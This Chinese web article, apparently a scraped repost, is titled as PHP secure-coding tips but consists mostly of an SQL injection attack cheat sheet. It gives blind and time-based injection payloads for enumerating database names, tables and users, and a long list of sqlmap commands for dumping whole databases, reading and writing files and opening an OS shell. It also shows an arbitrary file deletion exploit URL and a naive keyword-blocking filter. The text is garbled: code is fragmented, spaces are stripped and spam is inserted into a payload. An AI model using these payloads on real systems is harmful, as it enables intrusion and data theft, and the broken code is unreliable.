PHP安全编码的技巧有哪些


这篇文章主要介绍了PHP安全编码的技巧有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇PHP安全编码的技巧有哪些文章都会有所收获,下面我们一起来看看吧。 PHP 安全编码总结笔记SQL注入: 代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造,而REMOTE_ADDR则相对更安全,有些应用程序会将对方IP地址带入数据库查询是否存在,例如同一个IP每天只能注册一个账号等,如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址,那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。

SQL注入: 一种使用了过滤的代码,接受的参数经过过滤,字符串会被过滤掉SQL注入的关键字,整数会被强制转换为整数。

";
date_default_timezone_set("Asia/Shanghai");

if(!get_magic_quotes_gpc()){
$var=waf($_GET['id']);
echo"过滤后的参数:".$var;
}

functionwaf($array){
if(is_array($array)){
foreach($arrayas$key=>$value){
$array[$key]=waf($value);
}
}elseif(is_string($array)){
$array=addslashes($array);
#$array=str_ireplace("and","fuck",$array);
$substr=array(
"and"=>"fuckyou!",
"where"=>"fuckyou!",
"union"=>"fuckyou!",
"select"=>"fuckyou!",
"order"=>"fuckyou!",
"update"=>"fuckyou!",
"sleep"=>"fuckyou!",
);
$array=str_ireplace(array_keys($substr),$substr,$array);
}elseif(is_numeric($array)){
$array=intval($array);
}
return$array;
}
?>

盲注的使用首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.

html>



SQL注入<a href="https://www.if98.com/tag/101" target="_blank" title="测试">测试</a>代码
失败");
}
}
}
?>

后端执行SQL语句:'.$sql;?>

数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.

index.php?id=1'andleft(version(),1)=5--+//返回正常,说明版本号是5
index.php?id=1'and(length(database()))=7--+//返回正常,说明数据库名字长度是7

index.php?id=1'and(left(database(),1))='l'--+//返回正常,说明数据库第一位是l
index.php?id=1'and(left(database(),2))='ly'--+//返回正常,说明数据库前两位位是ly,以此类推

index.php?id=1'andord(mid((CAST(database()ASCHAR)),1,1))=108--+//验证第一位是否为l
index.php?id=1'andord(mid((CAST(database()ASCHAR)),2,1))=121--+//验证第二位是否为y,以此类推

猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.

index.php?id=1'and(selectcount(*)frommysql.user)>=0//存在mysql.user表
index.php?id=1'and(selectcount(*)fromlyshark)>=0//存在lyshark表

猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.

index.php?id=1'and(selectcount(id)fromusers)>=0//返回正常说明存在id字段
index.php?id=1'and(selectcount(name)fromusers)>=0//返回不正常不存在name字段
index.php?id=1'and(selectcount(*)fromlyshark)>=3#--//返回表中记录数

用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.

index.php?id=1'and(length(user()))>=14#//猜测数据库用户名称长度
index.php?id=1'and(selectus免费云主机域名er()like'root%')#//猜测用户名
index.php?id=1'and(selectuser()regexp'^[a-z]')#//猜测开头a-z
index.php?id=1'and(selectuser()regexp'^r')#//第一位是r
index.php?id=1'and(selectuser()regexp'^ro')#//第二位是o
index.php?id=1'and(selectuser()regexp'^root')#//以此类推猜测前四位

延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.

index.php?id=1'andsleep(5)#
index.php?id=1'andsleep(5)orderby3#//如果是3个字段,则会延时5秒
index.php?id=1'andselectif(length(user())=0,sleep(3),1)#//如果user=0则延时3秒
index.php?id=1'andif(hex(mid(user(),1,1))=100,sleep(3),1)#//第1个字符=d则延时3秒
index.php?id=1'andif(hex(mid(user(),1,1))=118,sleep(3),1)#//第2个字符=v则延时3秒

◆sqlmap 命令◆常用检测命令:

sqlmap-u"./index.php?id=1"-v3#显示攻击载荷
sqlmap-u"./index.php?id=1"--level=3#指定探测级别
sqlmap-u"./index.php?id=1"--privileges#测试所有用户权限
sqlmap-u"./index.php?id=1"--privilegesroot#测试root用户权限
sqlmap-u"./index.php?id=1"--all#查询所有数据库
sqlmap-u"./index.php?id=1"--hostname#查询当前主机名
sqlmap-u"./index.php?id=1"--is-dba#判断root权限
sqlmap-u"./index.php?id=1"--users#枚举数据库用户
sqlmap-u"./index.php?id=1"--random-agent#随机User-Agent
sqlmap-u"./index.php?id=1"--output-dir=""#自定义输出目录
sqlmap-u"./index.php?id=1"--file-read=""#读取文件
sqlmap-u"./index.php?id=1"--file-write=""#写入操作
sqlmap-u"./index.php?id=1"--os-cmd="netuser"#执行一条命令
sqlmap-u"./index.php?id=1"--os-shell#交互执行命令
sqlmap-u"./index.php?id=1"--sql-query=""#执行的SQL语句
sqlmap-u"./index.php?id=1"--cookie=""#指定cookie
sqlmap-u"./index.php?id=1"--temper=""#指定过滤脚本
sqlmap-u"./index.php?id=1"--dbs--delay1#延时1秒后注入
sqlmap-u"./index.php?id=1"--dbs--safe-freq3#延时3秒后注入

sqlmap-u"./index.php?id=1"--identify-waf#测试是否有WAF
sqlmap-u"./index.php?id=1"--current-db#查询当前数据库
sqlmap-u"./index.php?id=1"--current-user#查询当前主机名
sqlmap-u"./index.php?id=1"--users#查询所有用户名
sqlmap-u"./index.php?id=1"--dbs#列出所有数据库
sqlmap-u"./index.php?id=1"--tables#列出所有的表

sqlmap-u"./index.php?id=1"-D"mysql"--tables#获取mysql库中的表
sqlmap-u"./index.php?id=1"-D"mysql"-T"host"--columns#获取mysql.host表列名称
sqlmap-u"./index.php?id=1"-D"mysql"-T"host"--dump#将mysql.host保存到本地
sqlmap-u"./index.php?id=1"-D"mysql"--dump-all#全部脱裤
sqlmap-u"./index.php?id=1"-D"mysql"-T"user"-C"Host,User,Password"--dump

Cookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.

sqlmap-u"./index.php"-v3--cookieid=1--level2#判断注入点
sqlmap-u"./index.php"-v3--cookieid=1--dbs--level2#猜数据库名
sqlmap-u"./index.php"-v3--cookieid=1--tables--level2#猜表名称
sqlmap-u"./index.php"-v3--cookieid=1-T表名--clumns--level2#猜字段
sqlmap-u"./index.php"-v3--cookieid=1-T表名--clumns--dump--level2#猜内容

POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.1.浏览器打开目标地址 http://www.xxx.com/index.php2.配置burp代理(127.0.0.1:8080) 准备拦截请求3.点击login表单的submit按钮,或者其他按钮均可4.这时候Burp会拦截到了我们的登录POST请求5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit

sqlmap-rpost.txt-pid--dbs
Sqlmap-rpost.txt-pid-Dmysql--tables
Sqlmap-rpost.txt-pid-Dmysql-Tuser--columns
sqlmap-rpost.txt-pid-Dmysql-Tuser-C"User,Password"--dump
sqlmap--dbms"mysql"--method"POST"--data"id=1&cat=2"

其他漏洞利用任意文件删除: 执行删除语句http://php.com/?dir=…..////&file=a.txt 完成漏洞利用.

";
if(file_exists($path)){
if(unlink($path)){
echo"删除完成..";
}else{
echo"删除失败..";
}
}
?>

关于“PHP安全编码的技巧有哪些”这篇文章的内容就介绍到这里,感谢各位的阅读!相信大家对“PHP安全编码的技巧有哪些”知识都有一定的了解,大家如果还想学习更多知识,欢迎关注百云主机行业资讯频道。

相关推荐: 怎么用Springmvc的post请求json格式参数

这篇文章主要介绍了怎么用Springmvc的post请求json格式参数的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇怎么用Springmvc的post请求json格式参数文章都会有所收获,下面我们一起来看看吧。分析:  这里我们…

免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。

(0)
打赏 微信扫一扫 微信扫一扫
上一篇 03/09 10:08
下一篇 03/09 10:09

相关推荐